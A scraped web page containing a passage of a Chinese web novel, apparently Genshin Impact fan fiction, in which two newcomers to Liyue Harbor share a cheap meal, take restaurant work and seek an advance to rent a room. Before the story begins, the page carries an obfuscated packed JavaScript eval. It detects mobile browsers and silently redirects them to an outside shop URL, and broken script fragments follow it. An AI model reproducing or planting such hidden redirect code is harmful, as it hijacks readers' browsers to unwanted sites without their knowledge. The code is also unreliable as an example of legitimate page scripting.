;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307631|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她用力点头,把两个布袋仔细收进怀里,贴肉放着,“那今天晚上,我们去吃虎岩大吃一顿!庆祝庆祝!” —————— 说是“大吃一顿”,真到了吃虎岩,朗樾的步子就迈得谨慎起来了。 傍晚的吃虎岩正是最热闹的时候。小吃摊沿着街道排开,热气蒸腾,香气扑鼻。烤鱼在铁板上滋滋作响,肉串在炭火上翻滚,蒸笼里冒出白茫茫的蒸汽,裹着面点的甜香。 朗樾牵着阿响,从街头走到街尾,又从街尾走回街头。每经过一个摊子,她都要停下来,踮起脚看看价牌,在心里飞快地算账。 “烤吃虎鱼……一份两百八十摩拉,太贵了。” “水晶虾……三百五十摩拉,不行不行。” “莲花酥……一百二十摩拉一个,漂亮倒是漂亮,可根本吃不饱……” 阿响跟在她身后,目光被各色食物吸引,却又很快收回来,继续盯着朗樾的后脑勺。 最后,朗樾在一个卖中原杂碎的摊子前停住了脚步。 摊主是个精明的中年妇人,正麻利地往碗里舀杂碎汤。大锅里翻滚着浓白的汤汁,里面沉浮着牛肚、牛心、牛肺,还有白萝卜和豆腐泡。香气霸道地往人鼻子里钻,带着胡椒的辛辣和骨汤的醇厚。 价牌上写着:中原杂碎,二百摩拉一碗。 还是好贵,但是好香啊!朗樾拼命地咽口水。 每一碗的份量看上去不少,满满当当的。朗樾有些犹豫地看了阿响一眼,阿响倒没什么太大的反应,只是回望她。 想起承诺的“大餐”,出来一趟,总不能还是只买个饼子吧? 她咬咬牙:“老板,来一碗!”朗樾肉痛地掏出摩拉袋,数出两百枚递过去。 “好嘞!”摊主接过摩拉,利落地舀了满满一大碗,撒上葱花和香菜,“小心烫!” 朗樾接过碗,热气扑面而来。她拉着阿响在摊子旁的小凳上坐下,把碗推到两人中间:“来,尝尝!” 阿响低头看了看碗里内容丰富的杂碎,又看了看朗樾。 “吃呀!”朗樾拿起勺子,先舀了一勺汤,吹了吹,递到他嘴边。 阿响迟疑了一下,张嘴喝了。热汤顺着喉咙滑下去,暖意瞬间蔓延到四肢百骸。他眨了眨眼,空茫的视线似乎清晰了一瞬。 “好喝吗?”朗樾期待地问。 阿响点点头,自己拿起勺子,舀了一块牛肚,慢慢嚼起来。 朗樾笑了,也舀了一勺送进嘴里。牛肚炖得软烂入味,萝卜吸饱了汤汁,豆腐泡一咬就爆出鲜美的汁水。胡椒的辣意在舌尖炸开,暖得人浑身舒坦。 “好吃!”她忍不住赞叹,又舀了一勺,“真的好吃!” 两人就着这一碗杂碎,你一口我一口,吃得额头冒汗,脸颊泛红。周围的喧嚣仿佛都远了,只剩下这一碗热汤,和汤里沉浮的、实实在在的温暖。 ———————— 吃完杂碎,朗樾意犹未尽地舔了舔嘴唇,忽然想起什么:“对了,万民堂!” 她记得游戏里万民堂就开在中原杂碎店旁边。拉着阿响在旁边找了找,果然就在不远处看到了万民堂的招牌。店面不大,但收拾得干净利落,门口挂着红灯笼,里面传来锅铲碰撞的声响。 朗樾探头往里看,只见一个系着头巾、围着围裙的中年男人正在灶台前忙碌,手法娴熟地颠着锅,火焰腾起又落下。 是卯师傅。 她心里涌起一股奇妙的亲切感,却又有些失落——没看到那个活泼的、总在寻找新食材的香菱。 “小姑娘,吃饭吗?”卯师傅抬起头,擦了把汗,“今天有特价水煮黑背鲈,三百五十摩拉一份。” 朗樾摸了摸怀里的摩拉袋,犹豫了一下,还是摇摇头:“谢谢老板,我们刚吃过了。就是……来看看。” 卯师傅也不在意,点点头又转身忙去了。 朗樾站在门口看了会儿,心里默默记下了价格。水煮黑背鲈三百五十摩拉,确实不贵,等以后钱多了,一定要来尝尝。 27. 第 27 章 生活的滋味 回疏导处的路上,朗樾牵着阿响,脚步轻快。 怀里的摩拉随着步伐轻轻碰撞,叮当作响。现在她身上总共有近两千摩拉,听起来不少,但想在璃月港活下去,还远远不够。 她忽然想起白天听几个老住户闲聊时提到的事。 “也许我们得租个房子了。”她小声嘀咕,心里泛起一丝愁意。 之前一直由疏导处提供住宿,现在她要签契了——虽然只有十天,但按规矩也该搬出来了吧? “不用太大,能放下两张床就行。最好离三碗不过港近点,上下工方便……” 阿响转头看她。月光下,他的侧脸轮廓模糊。 “房子?”他问。 “嗯,房子。”朗樾点点头,语气里带着憧憬,“属于我们自己的地方。不用跟几十个人挤一个大通铺,不用半夜被别人的鼾声吵醒,不用……” 她顿了顿,没再说下去。 不用总是提心吊胆,担心明天没饭吃,没地方睡。 不用总是觉得自己是这世界的过客,无处扎根。 阿响安静地听着,好一会儿才问:“贵吗?” “不知道。”朗樾老实回答,“明天我去打听打听。最便宜的那种,应该……能租得起吧?” 她说着,心里却有些没底。但有了每天一千摩拉的稳定收入,十天就是一万摩拉。刨开吃饭和其他开销,总能攒下一些。 总能……慢慢靠近那个目标。 走到疏导处门口时,朗樾忽然停下脚步,转身看向阿响。 月光洒在他脸上,那双总是空茫的眼睛此刻映着浅浅的光。他安静地站着,等着她说话,像一棵沉默的树。 “阿响。”朗樾轻声说,“我们会越来越好的。” 阿响看着她,慢慢点了点头。 “嗯。” —————— 第二日辰时,天光初亮,朗樾已站在“三碗不过港”柜台前。 契书是疏导处备好的标准格式短契,德贵老板没多话,只指了该按手印的地方。朗樾仔细看过——其实大半仍看不懂,但“十日”、“每日一千摩拉”、“包三餐”、“辰时至戌时”这些关键词,她已能费力辨认——然后郑重按下指印。 薄薄一张纸折好,贴身收起。心口那块大石,总算落定了一半。 高兴是真高兴,可只有十天,转眼就过。如果是长久契约就好了……她甩甩头,把杂念抛出去。先把手头的事做好。 一整天,她忙得像颗被抽打的陀螺。端茶送水,收拾碗碟,迎客擦桌,动作比试工时流利了不少。 午间最忙那阵过去,她终于得了片刻喘息,缩在后厨门边的小凳上,捧着自己的工餐——一碗堆了菜码的汤面,比疏导处的稀粥硬饼实在太多——边吃边盘算。 十天,一万摩拉。吃饭暂时不用愁了,可七日契眼看也要到了。 昨晚跟阿响提“租房子”时,多少带着点冲动和鼓舞的意味。现在冷静一想,这是迫在眼前的事。疏导处的宿处终究是临时栖身,签了正式短工,确实不该再长久占着免费铺位。她不想等到被婉言请离的那天。 可她对璃月港两眼一抹黑,到头来,恐怕还得求助疏导处。她如今早出晚归,难见到沐云干事……或许可以让阿响去问问?他“七日契”未满,每日还能见到各位管事。 所以最重要的问题还是:钱呢? 璃月港的房租,怕是便宜不了。 —————— 戌时末,三碗不过港送走了最后一波客人。 德贵老板果然如约将工钱结了。朗樾双手接过这一千摩拉,不由感慨万分。 这足足抵得上她在望舒客栈洗衣堂忙活六七日了。璃月港开销大,工钱也确实高。某种意义上,她冒险前来,是对的。更别提她还开始识字了,这是多少钱也换不来的底气。 “今日还算稳当。”德贵老板难得开了口,仍是那副平淡腔调,“继续保持。” “谢谢老板!”朗樾赶忙应道。她犹豫了一下,鼓起勇气试探着开口:“老板,这工钱……我能否先存在您这儿?每日照给,我记个数,等十日契满了一并拿走?”她顿了顿,道:“一千摩拉带着……有点显眼,我怕路上不安全。” 其实她是对宿处那简陋柜格不放心,哪怕能上锁也一样。眼下身上揣的两千摩拉都挺占手,每天再带一千回去,放哪儿才安全,是个问题。 德贵抬眼瞥了她一下,片刻后,简单道:“随你。账上给你记着。” 朗樾松了口气,连声道谢。 ———————— 晚上回去时,她怀里揣着两个后厨剩下的红糖锅盔——掌柜见她做事认真,额外允的。 阿响接过时,眼睛似乎亮了一下。他还是让了她一下,见她只笑着摇头,才捧着大口吃起来。 吃着吃着,他忽然含混不清地说:“红糖,面粉,油,芝麻。” 朗樾一怔:“什么?” 阿响咽下嘴里的食物,清晰了些,却又带着那种惯有的空茫语气重复:“这个点心,用的。红糖,面粉,油,芝麻。如果有家伙什,自己做,也不难。” 朗樾心头猛地掠过一丝异样。 阿响会做点心?没听他提起过。还说得这样笃定。 她下意识地仔细看向他。阿响却已经低下头,继续专注地对付剩下的锅盔,侧脸在昏暗光线下,依旧是那副平静到近乎钝然的神情。 是自己多心了吗?或许他以前在别处见过,或者听人说过?她按下那点疑虑,只当是个小插曲。 “阿响,”她想起正事,凑近些低声道,“明天你去疏导处,帮我问问石锁干事或者陈婆婆,好不好?就说……我们要是想搬出来自己住,该怎么做?能不能麻烦他们帮忙打听打听,有没有便宜点的屋子出租?要特别说明,是便宜的。” 她怕阿响传话不清,特意放缓语速,重复了两遍。 阿响听完,抬起眼看着她,很慢、但一字不差地把她的话复述出来:“问石锁干事或陈婆婆,搬出来自己住,该怎么做,帮忙打听便宜屋子出租。要便宜的。” 他的记性在这种时候总是出奇地好。朗樾放下心,点点头。 —————— 第二日下工时,天色已晚。 朗樾揉着酸疼的胳膊走出“三碗不过港”,却意外地看到陈婆婆揣着手,等在街对面那棵老树下,正朝这边张望。 “阿月丫头!”陈婆婆见到她,招了招手,脸上带着惯常的慈和笑容。 这位陈婆婆和明伯一样,都是疏导处的常驻顾问,不过教的是缝补和烹饪,也喜欢和大家聊聊家常。她尤其关心疏导处里年轻的小辈们,有点小唠叨,却很热心肠。朗樾一看见她就会想起自己的外婆。 朗樾赶紧笑着小跑过去:“陈婆婆,您怎么在这儿?” “等你呢,”陈婆婆笑眯眯的,挽住她的胳膊,带着她往疏导处慢慢走,“阿响那孩子,上午就来找我了,话说得清清楚楚。老婆子我在吃虎岩住了几十年,他是真问对人了。今儿下午正好没事,我就出去帮你打 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陈婆婆停下脚步,看了看朗樾纠结的眉眼和紧咬的嘴唇。老人家的目光温和而通透。 “丫头,”陈婆婆的声音放得更柔缓了些,“德贵老板……对你印象如何?” 朗樾不明所以,老实回答:“老板……说我还算稳当,让我继续保持。应该……还算不错?” 陈婆婆点点头,像是心里有了底:“这样。你明日去做工,寻个合适的空当,跟德贵老板开口,问问能不能……预支几天的工钱。就说是急用,往后从工钱里扣。” 见朗樾猛地抬头,眼里满是惊讶和惶恐,陈婆婆宽慰地笑笑:“别怕,去问问。他若是肯,最好。若是不肯……你也别急,回头来告诉婆婆,咱们再想想办法。” 朗樾呆呆地看着陈婆婆慈祥的、布满皱纹的脸,喉头忽然堵得厉害,眼眶一阵发热。她张了张嘴,却发不出声音,只能用力地、重重地点头。 —————— 第三日上工,朗樾心里揣着事,动作却不敢有丝毫懈怠,反而比前两日更绷紧了些。 直到午后客人稀少的一段空闲,她才鼓起平生最大的勇气,蹭到柜台边,声音比蚊子哼哼大不了多少: “老板……我今天想将前两天的工钱都支走。我、我有点急用,能不能……能不能另外再预支两天的工钱?之后从我的工钱里扣就行……” 她垂着眼,不敢看德贵的表情,心里已经做好了被拒绝甚至斥责的准备。 德贵拨算盘的手停了。 他抬起眼,打量了她一下,那目光似乎能穿透她强装的镇定。 就在朗樾心跳如擂鼓、几乎要放弃时,却听德贵平淡地开口: “沐云干事之前提过一句,说你们初来乍到,若有用钱处,让我酌情通融。” 顿了顿,他又道:“那你今天就带五千摩拉回去。计你两日预支工钱。” 朗樾猛地抬头,几乎不敢相信自己的耳朵。 沐云干事……她竟然早就悄无声息地替她考虑到了这一步,甚至提前打好了招呼? 巨大的惊喜和后知后觉的感动,像一股迅猛的热流,猝不及防地冲垮了她连日来筑起的心防。 她想说谢谢,喉咙却哽得厉害,只能朝德贵老板深深鞠了一躬。 再抬起头时,眼圈已经红了。 糟糕!她赶紧转身,假装去收拾旁边的桌子,用力眨着眼,把那股汹涌的酸涩热意逼回去。